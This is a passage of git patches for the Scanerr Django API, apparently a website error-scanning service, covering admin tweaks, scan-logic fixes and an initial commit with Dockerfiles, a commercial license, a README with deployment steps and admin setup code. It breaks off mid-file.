import admin from .models import * +from datetime import datetime @admin.register(Site) @@ -9,13 +10,19 @@ class SiteAdmin(admin.ModelAdmin): @admin.register(Test) class TestAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created', 'type') + list_display = ('id', 'site', 'time_created', 'time_completed', 'type') search_fields = ('site',) @admin.register(Scan) class ScanAdmin(admin.ModelAdmin): - list_display = ('__str__', 'time_created') + list_display = ('id', 'site', 'time_created', 'time_completed') search_fields = ('site',) + actions = ['mark_as_completed',] + + def mark_as_completed(self, request, queryset): + queryset.update(time_completed=datetime.now()) + + @admin.register(Account) class AccountAdmin(admin.ModelAdmin): diff --git a/app/api/models.py b/app/api/models.py index 86a56ea8..31dddf4b 100644 --- a/app/api/models.py +++ b/app/api/models.py @@ -219,7 +219,7 @@ class Scan(models.Model): configs = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.site.site_url}__scan' + return f'{self.id}__scan' @@ -239,7 +239,7 @@ class Test(models.Model): images_delta = models.JSONField(serialize=True, null=True, blank=True) def __str__(self): - return f'{self.site.site_url}__test' + return f'{self.id}__test' From 2eb965712b7b686d8180800650f1f50c2009082a Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 15:22:03 -0500 Subject: [PATCH 064/277] fixed json serialization error --- app/api/v1/ops/services.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index f0cc0ef7..d24f9051 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -93,8 +93,8 @@ def create_site(request, delay=False): if delay == True: scan = Scan.objects.create(site=site) create_site_bg.delay(site.id, scan.id) - site.info["latest_scan"]["id"] = scan.id - site.info["latest_scan"]["time_created"] = scan.time_created + site.info["latest_scan"]["id"] = str(scan.id) + site.info["latest_scan"]["time_created"] = str(scan.time_created) site.save() else: S(site=site).first_scan() From 40da6bb307114e0b3d8b695be9473f2a234b9684 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 15:37:04 -0500 Subject: [PATCH 065/277] fixed scan mismatch --- app/api/utils/scanner.py | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 34c824f0..77b2e83b 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -43,7 +43,7 @@ def __init__( if scan is not None: self.scan = scan else: - self.scan = Scan.objects.create() + self.scan = None self.configs = configs @@ -55,6 +55,8 @@ def first_scan(self): returns -> `Scan` """ + if self.scan is None: + self.scan = Scan.objects.create(site=self.site) if self.configs['driver'] == 'selenium': self.driver.get(self.site.site_url) From 2083c5749c14f682b8f7466230943deaf2b6ff7f Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 15:47:23 -0500 Subject: [PATCH 066/277] fixing null constraints --- app/api/utils/scanner.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py index 77b2e83b..cbbb9fc0 100644 --- a/app/api/utils/scanner.py +++ b/app/api/utils/scanner.py @@ -111,7 +111,7 @@ def second_scan(self): first_scan = self.scan # create second scan obj - second_scan = Scan.objects.create() + second_scan = Scan.objects.create(site=self.site) if self.configs['driver'] == 'selenium': self.driver.get(self.site.site_url) @@ -133,7 +133,6 @@ def second_scan(self): lh_data = Lighthouse(site=self.site, configs=self.configs).get_data() yl_data = Yellowlab(site=self.site, configs=self.configs).get_data() - second_scan.site = self.site second_scan.paired_scan = first_scan second_scan.html = html second_scan.logs = logs From 9ea006f451e3846bdef058b3d3616a8be0d42ef3 Mon Sep 17 00:00:00 2001 From: landon Date: Tue, 19 Apr 2022 15:53:59 -0500 Subject: [PATCH 067/277] added exception handeling to test_type --- app/api/v1/ops/services.py | 3 +++ 1 file changed, 3 insertions(+) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index d24f9051..162c7ead 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -199,6 +199,9 @@ def create_test(request, delay=False): test_type = request.data.get('type', ['full']) pre_scan = None post_scan = None + + if len(test_type) == 0: + test_type = ['full'] if not configs: configs = { From befd4d6d8b2c69ba1b457ca53696299a1901c542 Mon Sep 17 00:00:00 2001 From: landon Date: Wed, 20 Apr 2022 08:34:15 -0500 Subject: [PATCH 068/277] fixing test delay with pre & post scan ids --- app/api/v1/ops/services.py | 2 +- app/api/v1/ops/tasks.py | 14 +++++++++----- 2 files changed, 10 insertions(+), 6 deletions(-) diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py index 162c7ead..a95bc627 100644 --- a/app/api/v1/ops/services.py +++ b/app/api/v1/ops/services.py @@ -221,7 +221,7 @@ def create_test(request, delay=False): post_scan = Scan.objects.get(id=post_scan_id) - if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].html == None: + if not Scan.objects.filter(site=site).exists() or Scan.objects.filter(site=site)[0].time_completed == None: data = {'reason': 'Site not yet onboarded'} record_api_call(request, data, '400') return Response(data, status=status.HTTP_400_BAD_REQUEST) diff --git a/app/api/v1/ops/tasks.py b/app/api/v1/ops/tasks.py index 7b1489b2..c6699f8c 100644 --- a/app/api/v1/ops/tasks.py +++ b/app/api/v1/ops/tasks.py @@ -57,15 +57,19 @@ def create_test_task( type=type, ) - if not pre_scan and not post_scan: + if pre_scan is not None: + pre_scan = Scan.objects.get(id=pre_scan) + if post_scan is not None: + post_scan = Scan.objects.get(id=post_scan) + + if post_scan is None and pre_scan is not None: + post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() + + if pre_scan is None and post_scan is None: new_scan = S(site=site, configs=configs) post_scan = new_scan.second_scan() pre_scan = post_scan.paired_scan - if not post_scan and pre_scan: - pre_scan = Scan.objects.get(id=pre_scan) - post_scan = S(site=site, scan=pre_scan, configs=configs).second_scan() - # updating parired scans pre_scan.paired_scan = post_scan post_scan.paried_scan = pre_scan From 1a2c1c73054b679693736bc5cafa1ff4a147c95e Mon Sep 17 00:00:00 2001 From: landon Date: Mon, 25 Apr 2022 09:52:17 -0500 Subject: [PATCH 069/277] init --- .gitignore | 22 + Dockerfile | 47 + Dockerfile.prod | 47 + LICENSE.md | 101 ++ README.md | 123 ++ app/api/__init__.py | 0 app/api/admin.py | 51 + app/api/apps.py | 5 + app/api/management/__init__.py | 0 app/api/management/commands/__init__.py | 0 app/api/management/commands/create_admin.py | 18 + app/api/management/commands/driver_p_test.py | 14 + app/api/management/commands/driver_s_test.py | 11 + app/api/management/commands/wait_for_db.py | 20 + app/api/migrations/__init__.py | 0 app/api/models.py | 354 +++++ app/api/tasks.py | 102 ++ app/api/templates/api/automation_email.html | 175 +++ .../templates/api/reset_password_email.html | 166 +++ app/api/tests.py | 3 + app/api/urls.py | 11 + app/api/utils/__init__.py | 0 app/api/utils/alerts.py | 543 ++++++++ app/api/utils/automations.py | 226 +++ app/api/utils/crux.py | 36 + app/api/utils/custom-config.js | 14 + app/api/utils/driver_p.py | 176 +++ app/api/utils/driver_s.py | 167 +++ app/api/utils/image.py | 692 ++++++++++ app/api/utils/lighthouse.py | 136 ++ app/api/utils/report_assets/cover_img.png | Bin 0 -> 119558 bytes app/api/utils/reporter.py | 466 +++++++ app/api/utils/scanner.py | 200 +++ app/api/utils/tester.py | 585 ++++++++ app/api/utils/wordpress.py | 350 +++++ app/api/utils/wordpress_p.py | 387 ++++++ app/api/utils/yellowlab.py | 135 ++ app/api/v1/__init__.py | 0 app/api/v1/auth/__init__.py | 0 app/api/v1/auth/alerts.py | 57 + app/api/v1/auth/serializers.py | 73 + app/api/v1/auth/services.py | 236 ++++ app/api/v1/auth/urls.py | 29 + app/api/v1/auth/views.py | 212 +++ app/api/v1/billing/__init__.py | 0 app/api/v1/billing/urls.py | 18 + app/api/v1/billing/views.py | 386 ++++++ app/api/v1/ops/__init__.py | 0 app/api/v1/ops/serializers.py | 128 ++ app/api/v1/ops/services.py | 1217 +++++++++++++++++ app/api/v1/ops/tasks.py | 158 +++ app/api/v1/ops/urls.py | 27 + app/api/v1/ops/views.py | 336 +++++ app/api/v1/urls.py | 14 + app/api/views.py | 0 app/manage.py | 22 + app/scanerr/__init__.py | 3 + app/scanerr/asgi.py | 16 + app/scanerr/celery.py | 17 + app/scanerr/settings.py | 235 ++++ app/scanerr/urls.py | 9 + app/scanerr/wsgi.py | 16 + commands | 14 + docker-compose.prod.yml | 78 ++ docker-compose.yml | 57 + env/.env.dev.example | 75 + env/.env.prod.example | 74 + env/.env.prod.proxy-companion | 2 + nginx/Dockerfile | 3 + nginx/custom.conf | 6 + nginx/vhost.d/default | 9 + requirements.txt | 57 + 72 files changed, 8967 insertions(+) create mode 100644 .gitignore create mode 100644 Dockerfile create mode 100644 Dockerfile.prod create mode 100644 LICENSE.md create mode 100644 README.md create mode 100644 app/api/__init__.py create mode 100644 app/api/admin.py create mode 100644 app/api/apps.py create mode 100644 app/api/management/__init__.py create mode 100644 app/api/management/commands/__init__.py create mode 100644 app/api/management/commands/create_admin.py create mode 100644 app/api/management/commands/driver_p_test.py create mode 100644 app/api/management/commands/driver_s_test.py create mode 100644 app/api/management/commands/wait_for_db.py create mode 100644 app/api/migrations/__init__.py create mode 100644 app/api/models.py create mode 100644 app/api/tasks.py create mode 100644 app/api/templates/api/automation_email.html create mode 100644 app/api/templates/api/reset_password_email.html create mode 100644 app/api/tests.py create mode 100644 app/api/urls.py create mode 100644 app/api/utils/__init__.py create mode 100644 app/api/utils/alerts.py create mode 100644 app/api/utils/automations.py create mode 100644 app/api/utils/crux.py create mode 100644 app/api/utils/custom-config.js create mode 100644 app/api/utils/driver_p.py create mode 100644 app/api/utils/driver_s.py create mode 100644 app/api/utils/image.py create mode 100644 app/api/utils/lighthouse.py create mode 100644 app/api/utils/report_assets/cover_img.png create mode 100644 app/api/utils/reporter.py create mode 100644 app/api/utils/scanner.py create mode 100644 app/api/utils/tester.py create mode 100644 app/api/utils/wordpress.py create mode 100644 app/api/utils/wordpress_p.py create mode 100644 app/api/utils/yellowlab.py create mode 100644 app/api/v1/__init__.py create mode 100644 app/api/v1/auth/__init__.py create mode 100644 app/api/v1/auth/alerts.py create mode 100644 app/api/v1/auth/serializers.py create mode 100644 app/api/v1/auth/services.py create mode 100644 app/api/v1/auth/urls.py create mode 100644 app/api/v1/auth/views.py create mode 100644 app/api/v1/billing/__init__.py create mode 100644 app/api/v1/billing/urls.py create mode 100644 app/api/v1/billing/views.py create mode 100644 app/api/v1/ops/__init__.py create mode 100644 app/api/v1/ops/serializers.py create mode 100644 app/api/v1/ops/services.py create mode 100644 app/api/v1/ops/tasks.py create mode 100644 app/api/v1/ops/urls.py create mode 100644 app/api/v1/ops/views.py create mode 100644 app/api/v1/urls.py create mode 100644 app/api/views.py create mode 100755 app/manage.py create mode 100644 app/scanerr/__init__.py create mode 100644 app/scanerr/asgi.py create mode 100644 app/scanerr/celery.py create mode 100644 app/scanerr/settings.py create mode 100644 app/scanerr/urls.py create mode 100644 app/scanerr/wsgi.py create mode 100644 commands create mode 100644 docker-compose.prod.yml create mode 100644 docker-compose.yml create mode 100644 env/.env.dev.example create mode 100644 env/.env.prod.example create mode 100644 env/.env.prod.proxy-companion create mode 100644 nginx/Dockerfile create mode 100644 nginx/custom.conf create mode 100644 nginx/vhost.d/default create mode 100644 requirements.txt diff --git a/.gitignore b/.gitignore new file mode 100644 index 00000000..9056f8d7 --- /dev/null +++ b/.gitignore @@ -0,0 +1,22 @@ +app/api/utils/testing_stuff.py +app/data* +app/api/utils/__pycache__/tester.cpython-38.pyc +.DS_Store +*__pycache__* +db.sqlite3 +*.pyc +__pycache__ +__pycache__/ +*/__pycache__/* +**/__pycache__/ +server/app/env* +env/.env.staging +env/.env.dev +env/.env.prod +env/.env.prod.db +app/static* +Dockerfile.alpine +Dockerfile.dev1 +Dockerfile.dev3 + +app/api/migrations/0001_initial.py diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 00000000..ae7fdda7 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,47 @@ +FROM python:3.9-slim +ENV PYTHONUNBUFFERED 1 + +# create the app user +RUN addgroup --system app && adduser --system app + +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip + +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig + +# installing node and npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=2048" + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools + + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true + +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium --no-sandbox --version + +# installing requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# setting working dir +RUN mkdir /app +COPY ./app /app +WORKDIR /app + +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/Dockerfile.prod b/Dockerfile.prod new file mode 100644 index 00000000..ae7fdda7 --- /dev/null +++ b/Dockerfile.prod @@ -0,0 +1,47 @@ +FROM python:3.9-slim +ENV PYTHONUNBUFFERED 1 + +# create the app user +RUN addgroup --system app && adduser --system app + +# installing python3 & pip +RUN apt-get update && apt-get install -y python3 python3-pip + +# installing system deps +RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \ + gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ + libfontconfig + +# installing node and npm +RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \ + && npm install -g n && n lts + +# increasing allocated memory to node +RUN export NODE_OPTIONS="--max-old-space-size=2048" + +# installing lighthouse & yellowlabtools +RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools + + +# telling Puppeteer to skip installing Chrome +ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD true + +# telling phantomas where Chromium binary is and that we're in docker +ENV PHANTOMAS_CHROMIUM_EXECUTABLE /usr/bin/chromium +ENV DOCKERIZED yes + +# setting --no-sandbox for Phantomas +RUN chromium --no-sandbox --version + +# installing requirements +COPY ./requirements.txt /requirements.txt +RUN python3 -m pip install -r /requirements.txt + +# setting working dir +RUN mkdir /app +COPY ./app /app +WORKDIR /app + +# setting ownership +RUN chown -R app:app /app +RUN chown -R app:app /usr/bin/chromium \ No newline at end of file diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 00000000..838f8ab3 --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,101 @@ +Copyright (c) 2021 Scanerr + + +Scanerr Commercial Software License Terms + +1. Order. These terms, together with the order referencing them, make up a software license agreement. The software, the developer, and the customer are all identified on the order. +2. Versions. This agreement covers the specific version of the software on the order, plus any new versions of the software that the vendor makes generally available, or specifically provides to the customer, while this agreement continues. +3. Modifications. The customer may make changes to the software’s source code, compile those changes, and run changed versions of the software. +4. Billing. +(a) Bills, Fees, and Payment. The vendor agrees to bill the customer per the order. The customer agrees to pay the fees on the order, using the payment method on the order. +(b) Billing Errors. The customer agrees to give the vendor notice of any suspected error on a bill before the deadline for payment. Both sides agree to resolve any concerns about bill accuracy promptly and in good faith. The customer agrees to pay the undisputed part of each bill by the original deadline, and any part of the bill resolved later within seven days of resolution. +5. Term and Termination. +(a) Perpetual. This agreement continues until one side or the other ends it. +(b) Termination. Either side can terminate this agreement immediately if the other side breaches and fails to cure their breach within fourteen days of notice. +6. Use. +(a) Permitted Use. The customer may use the software only for its own computing needs and those of its subsidiaries and corporate affiliates. +(b) Prohibited Uses. The customer may not: +(i) sell, lease, license, or sublicense the software or documentation +(ii) allow access to the software by others not licensed under this agreement +(iii) share copies of the software or documentation with with others not licensed under this agreement +(iv) make so much of the functionality of the software available to others as software-as-a-service that the service competes with the software for customers +(v) assist or allow others to use the software against the terms of this agreement +7. Licenses. +(a) Software Copyright License. The vendor grants the customer and each authorized user a standard license for any copyrights in the software that the vendor can license, to copy, install, back up, and use the software as allowed under this agreement. +(b) Software Patent License. The vendor grants the customer and each authorized user a standard license for any patents the vendor can license or becomes able to license, to use the software as allowed under this agreement. +(c) Documentation Copyright License. The vendor grants the customer and each authorized user a standard license for any copyrights in the documentation that the vendor can license, to read, back up, and copy the documentation. +(d) Standard License Terms. A standard license means a nonexclusive license for the term of this agreement, for versions of the software covered by this agreement, that is conditional on payment of all fees as required by this agreement and subject to any use limits in this agreement. +(e) No Other Licenses. Apart from the licenses in Section 7 (Licenses), this agreement does not license or assign any intellectual property rights. +8. Open Source. +(a) Open Source Compliance. Some components of the software may be open source software available under free, public licenses. If the public license terms for any open source component conflict with the terms of this agreement, only the public license terms apply to that component, not the terms of this agreement. If the license terms for any open source component require an offer of source code or other information related to that component, the vendor agrees to provide on written request. +(b) Dual Licensing. If any part of the software is or becomes available under a public license: +(i) While the customer’s licenses continue, the customer and each authorized user must abide by this agreement, not the public license. +(ii) The customer must abide by the terms of the public license for any versions of the software not covered by this agreement. +9. Delivery. +(a) Materials. The vendor agrees to deliver the following to the customer within three days: +(i) a copy of the software’s source code in the preferred form for making changes +(ii) copies of any scripts or configuration files necessary to compile the software’s source code +(iii) a copy of the software’s documentation +(b) Method. The vendor agrees to deliver all materials by e-mail or by making them available to download online, without any additional charge. The vendor agrees to make new versions of the software covered by this agreement available in the same way, within three days of making it generally available. +(c) License Keys. If the software requires license keys to function, the vendor agrees to give the customer those keys by e-mail within three days. If license keys for the software expire over time, the vendor agrees to give the customer new license keys by e-mail at least two weeks before the last keys expire. The customer agrees to share license keys only as required for use of the software as allowed under this this agreement, and to secure its license keys at least as well as its confidential business information. +10. Technical Support. +(a) Basic Support. During its regular business hours, the vendor agrees to respond to e-mail support requests from customer or any authorized user about configuration of, use of, and problems with the software and its documentation. The vendor does not agree to any specific service levels for response to support requests. +(b) Access. On the vendor’s request, the customer agrees to give the vendor prompt access to personnel, systems, and information needed to respond to support requests. +(c) Confidentiality. On the customer’s request, the vendor will agree to the terms of a standard, published, mutual nondisclosure agreement with the customer, for the purpose of fulfilling its support obligations under this agreement. +11. Warranties. +(a) Perform As Documented. The vendor guarantees that the software will perform as described in its documentation while this agreement continues, except when: +(i) using older version of the software than the latest provided under this agreement +(ii) using the software with modifications +(iii) running the software using hardware or software different from that required, according to the documentation +(iv) combining the software with other software or hardware in ways not described in the documentation +(b) Malware. The vendor guarantees that the software it delivers will be free of malicious code, such as computer worms and viruses. +(c) Limiting Code. The developer guarantees that the software it delivers will be free of code that automatically limits or disables software functionality, other than: +(i) code that limits or disables functionality on failure to validate license keys +(ii) code that limits or disables functionality based on automatic monitoring of agreed limits on usage +(d) Software Dependencies. If the software depends on, installs, configures, or links to other software in order to function, the vendor guarantees that those software dependencies will be either provided in the copies of the software delivered to the customer or generally available for the customer to download, free or charge, from a well known website or Internet service, such as an open source software package repository. +12. Liability. +(a) Disclaimer. Section 11 (Warranties) sets out the only warranties the vendor provides for the software. The vendor disclaims any warranties the law might otherwise imply, like warranties of merchantability, fitness for any particular purpose, title, or noninfringement. +(b) Unforeseeable Damages. Neither side will be liable for breach-of-contract damages they could not have reasonably foreseen when entering into this agreement. +(c) Liability Cap. Except for Section 12(d) (Uncapped Liabilities), neither side’s total liability for breach of this agreement will exceed the amount of fees the vendor received from the customer under this agreement during the twelve months before the first claim is made. This limit applies even if the side liable is advised that the other may suffer damages, and even if the customer paid no fees at all. +(d) Uncapped Liabilities. Section 12(c) (Liability Cap) does not apply to: +(i) the customer’s obligations to pay fees +(ii) the vendor’s obligations to indemnify the customer +(iii) liabilities the law requires to be unlimited +13. Indemnities. These indemnities apply as long as the customer has paid all licensing fees as required by this agreement: +(a) General Indemnity. Subject to Section 13(e) (Indemnification Process), the vendor agrees to indemnify the customer for legal claims by others alleging that the software infringes any copyright, trademark, or trade secret right, or breaks any law. +(b) Patent Indemnity. The vendor will not indemnify the customer for any claims by others alleging that the software infringes any patent. +(c) Scope of Indemnity. Throughout this agreement, to indemnify means to indemnify and hold the customer and its personnel harmless for all liability, expenses, damages, and costs, as well as to defend the indemnified party. +(d) Only Remedy. Both sides agree that indemnification will be the only legal remedy for claims covered by indemnity. +(e) Indemnification Process. Both sides agree that to receive indemnification under this agreement, they must give notice of any covered claim quickly, allow the other side to control investigation, defense, and settlement, and cooperate with those efforts. Both sides agree that if they fail to give notice of any covered claim quickly, indemnification will not cover amounts that could have been defended against or mitigated if notice had been given quickly. Both sides agree that if they take control of the defense and settlement of any covered claim, they will not agree to any settlements that admit fault or impose obligations on the other side without their signed, written permission. +(f) Repair, Replace, Refund. If the vendor or the customer receives written notice of a claim that the software infringes any intellectual property right or breaks any law, or vendor reasonably anticipates a claim of that kind: +(i) The developer may provide the customer a new version of the software that no longer infringes or breaks the law. That new version will be covered by this agreement. The customer will not pay any additional fee for the new version. +(ii) If the problem is infringement, the developer may get licenses for the customer so that the customer’s use of the software no longer infringes. +(iii) If the problem is illegality, the developer may get the approvals, licenses, or other requirements needed to abide by the law. +(iv) The developer may refund any fees the customer has prepaid under this agreement for time remaining in the term of this agreement, on a proportional basis, and end this agreement immediately by giving the customer notice. +14. Tax. +(a) Taxes on Fees. The customer agrees to pay all tax on fees under this agreement, except tax on the vendor’s income. +(b) Tax Withholding. If the customer is located outside the United States and local law requires the customer to withhold taxes on fees paid under this agreement: +(i) The customer agrees to make the required tax withholding payments for the vendor by deducting the right amounts from payments to the vendor and paying them to the proper tax authorities. +(ii) The customer agrees to increase the amount of each payment made under this agreement, to offset withholding, so that the vendor receives the full amount owed. +(iii) The customer agrees to give the vendor relevant official tax documentation and tax receipts showing that withholding was required and that proper withholding payment was made, as soon as possible after making any withholding payment. +15. General Contract Terms. +(a) Notices. Both sides agree to give notice under this agreement, the side giving notice must send by e-mail to the address the recipient gave with its signature, or to a different address given later for notices going forward, in the English language. If either side finds that e-mail can’t be delivered to the e-mail address given, the sender may give notice by registered mail to the address on file for the recipient with the state under whose laws it is organized. +(b) Governing Law. This agreement will be governed by the law of the jurisdiction of the address the vendor gives with its signature. +(c) No CISG. The United Nations Convention on Contracts for the International Sale of Goods will not apply to this agreement. +(d) No UCITA. As far as the law allows, the Uniform Computer Information Transactions Act will not apply to this agreement. +(e) Dispute Resolution. Any dispute, controversy or claim arising out of or relating to this contract, including the formation, interpretation, breach or termination thereof, including whether the claims asserted are arbitrable, will be referred to and finally determined by arbitration in accordance with the JAMS International Arbitration Rules. The Tribunal will consist of one arbitrator. The place of arbitration will be the capital of the jurisdiction whose laws govern this agreement. The language to be used in the arbitral proceedings will be English. Judgment upon the award rendered by the arbitrator(s) may be entered in any court having jurisdiction thereof. +(f) Enforcement. Only the parties may enforce rights under this agreement. +(g) Forum for Disputes. Both sides agree to bring any lawsuits related to this agreement in courts in the capital of the jurisdiction whose laws govern this agreement. Both sides consent to the exclusive jurisdiction of those courts and waive any objection that they would be an inconvenient forum for a lawsuit. Both sides agree that the other side can enforce judgments from those courts in other jurisdictions. +(h) Only Terms. Both sides intend the terms of this agreement, together with the order, as the final, complete, and only expression of their agreement about the software. +(i) Unenforceable Terms. If a court decides that any part of this agreement is invalid or unenforceable for any reason, and that enforcing the rest of this agreement would not defeat the purpose of this agreement, then rest of this agreement will still apply. +(j) Excuses. Neither side will be liable for any failure or delay meeting any obligation under this agreement caused by: +(i) failure of the other side or its personnel to meet their obligations under this agreement +(ii) actions done or delayed at the written request of the other side +(iii) fire, flood, earthquake, and other natural disasters +(iv) declared and undeclared wars, acts of terrorism, sabotage, riots, civil disorder, rebellions, and revolutions +(v) extraordinary malfunction of Internet infrastructure, data centers, or communication utilities +(vi) government actions taken in response to any of these causes +(k) Amendments. Both sides may change or add to the terms of this agreement only by signing a written amendment. +(l) Waivers. Both sides will waive terms of this agreement, if at all, only in signed writing. +(m) No Assignment. Neither side may assign any right under this agreement without the other side’s signed, written permission. Neither side will unreasonably refuse permission. Any attempt to assign against the terms of this agreement will have no legal effect. +(n) No Delegation. Neither side may delegate any performance under this agreement. Any attempt to delegate will have no legal effect. diff --git a/README.md b/README.md new file mode 100644 index 00000000..58626581 --- /dev/null +++ b/README.md @@ -0,0 +1,123 @@ +# Scanerr Server (API repo) + +[![Build Status](http://img.shields.io/travis/badges/badgerbadgerbadger.svg?style=flat-square)](https://api.scanerr.io) + +This is the server repo for the Scanerr API, an error detection service designed to run front-end tests on web-apps and sites. This service is fully dockertized for local dev/testing as well as deployed environments. + +> This software is only intended for internal white-label use and is not licensed for redristibution. See LICENSE for more information. + + +Copyright © Scanerr 2021 + +--- +  + +## Table of Contents +  + +#### Env's and deployment + + - [Environment](#environment) + - [Local](#local) + - [Remote](#remote) + - [Scripts](#scripts) + + +  + +--- +  + +## Environment + +Prior to running app, configure all env's located in the /env directory. There are example .env files for both production and local environments marked `.env.dev.example` and `.env.prod.example`. Prior to running the app, be sure to update with your unique keys, domains, passwords, etc, and remove the `.example` extention from the files. **Never store actual .env's in a repo.** Things to change: +- high level django configs +- admin credentials +- email credentials +- database configs +- stripe keys +- OAuth keys +- twilio credentials +- slack credentials +- s3 remote storage credentials + +  + +--- +  + +## Local +Install and run locally on your machine in a dev environment. + +> Ensure you have Docker and Docker-desktop installed and running on your machine prior to this step. + +```shell +$ pip3 install virtualenv +$ virtualenv appenv +$ source appenv/bin/activate +$ mkdir app +$ git clone https://github.com/Scanerr-io/server.git +``` +*Spin-up the application* +```shell +$ docker compose up --build +``` +*Spin-down the application* +```shell +$ docker compose up down +``` + +  + +--- +  + +## Remote +Install and deploy remotely in a production environment. + +> Ensure you have Docker installed and running on your server prior to this step. + +*Server configurations for Ubuntu 20.04* +``` shell +$ ssh root@your_server_ip +# apt update +# apt upgrade +# adduser {user} +# usermod -aG sudo {user} +# ufw allow OpenSSH +# ufw enable +# su {user} +``` +*Create a dir to clone the app into* +``` shell +$ cd ~ +$ mkdir app +$ cd app +$ git clone https://github.com/Scanerr-io/server.git +``` +*Spin-up the application* +```shell +$ docker compose -f docker-compose.prod.yml up -d --build +``` +*Spin-down the application* +```shell +$ docker compose -f docker-compose.prod.yml down +``` +*Spin-down the application and removes the volumes* +```shell +$ docker compose -f docker-compose.prod.yml down -v +``` + + +  + +--- + +  + +## Scripts + +*ssh into container* +``` shell +$ docker exec -it /bin/sh +``` diff --git a/app/api/__init__.py b/app/api/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/admin.py b/app/api/admin.py new file mode 100644 index 00000000..0d586239 --- /dev/null +++ b/app/api/admin.py @@ -0,0 +1,51 @@ +from django.contrib import admin +from .models import * +from datetime import datetime + + +@admin.register(Site) +class SiteAdmin(admin.ModelAdmin): + list_display = ('site_url', 'user', 'time_created') + search_fields = ('site_url',) + +@admin.register(Test) +class TestAdmin(admin.ModelAdmin): + list_display = ('id', 'site', 'time_created', 'time_completed', 'type') + search_fields = ('site',) + +@admin.register(Scan) +class ScanAdmin(admin.ModelAdmin): + list_display = ('id', 'site', 'time_created', 'time_completed') + search_fields = ('site',) + actions = ['mark_as_completed',] + + def mark_as_completed(self, request, queryset): + queryset.update(time_completed=datetime.now()) + + + +@admin.register(Account) +class AccountAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'type') + search_fields = ('__str__',) + +@admin.register(Card) +class CardAdmin(admin.ModelAdmin): + list_display = ('__str__', 'brand', 'last_four') + search_fields = ('last_four',) + +@admin.register(Report) +class ReportAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'user') + +@admin.register(Log) +class LogAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'status', 'user') + +@admin.register(Schedule) +class ScheduleAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'status', 'user') + +@admin.register(Automation) +class AutomationAdmin(admin.ModelAdmin): + list_display = ('__str__', 'time_created', 'schedule', 'user') \ No newline at end of file diff --git a/app/api/apps.py b/app/api/apps.py new file mode 100644 index 00000000..36985c8a --- /dev/null +++ b/app/api/apps.py @@ -0,0 +1,5 @@ +from django.apps import AppConfig + + +class ApiConfig(AppConfig): + name = 'api' \ No newline at end of file diff --git a/app/api/management/__init__.py b/app/api/management/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/management/commands/__init__.py b/app/api/management/commands/__init__.py new file mode 100644 index 00000000..e69de29b diff --git a/app/api/management/commands/create_admin.py b/app/api/management/commands/create_admin.py new file mode 100644 index 00000000..7e9797b3 --- /dev/null +++ b/app/api/management/commands/create_admin.py @@ -0,0 +1,18 @@ +from django.core.management.base import BaseCommand +from django.contrib.auth.models import User +import os + +class Command(BaseCommand): + + def handle(self, *args, **options): + if User.objects.filter(is_superuser=True).count() == 0: + username = os.environ.get('ADMIN_USER') + email = os.environ.get('ADMIN_EMAIL') + password = os.environ.get('ADMIN_PASS') + print('Creating account for %s (%s)' % (username, email)) + admin = User.objects.create_superuser(email=email, username=username, password=password) + admin.is_active = True + admin.is_superuser = True + admin.save() + else: + print('Admin accounts can only be initialized if no Accounts exist') \ No newline at end of file diff --git a/app/api/management/commands/driver_p_test.py b/app/api/management/commands/driver_p_test.py new file mode 100644 index 00000000..c85d2705 --- /dev/null +++ b/app/api/management/commands/driver_p_test.py @@ -0,0 +1,14 @@ +from ...utils.driver_p import driver_test +from django.core.management.base import BaseCommand +import asyncio + +# testing puppeteer, pyppeteer, and chromium installation and configs + +class Command(BaseCommand): + + def 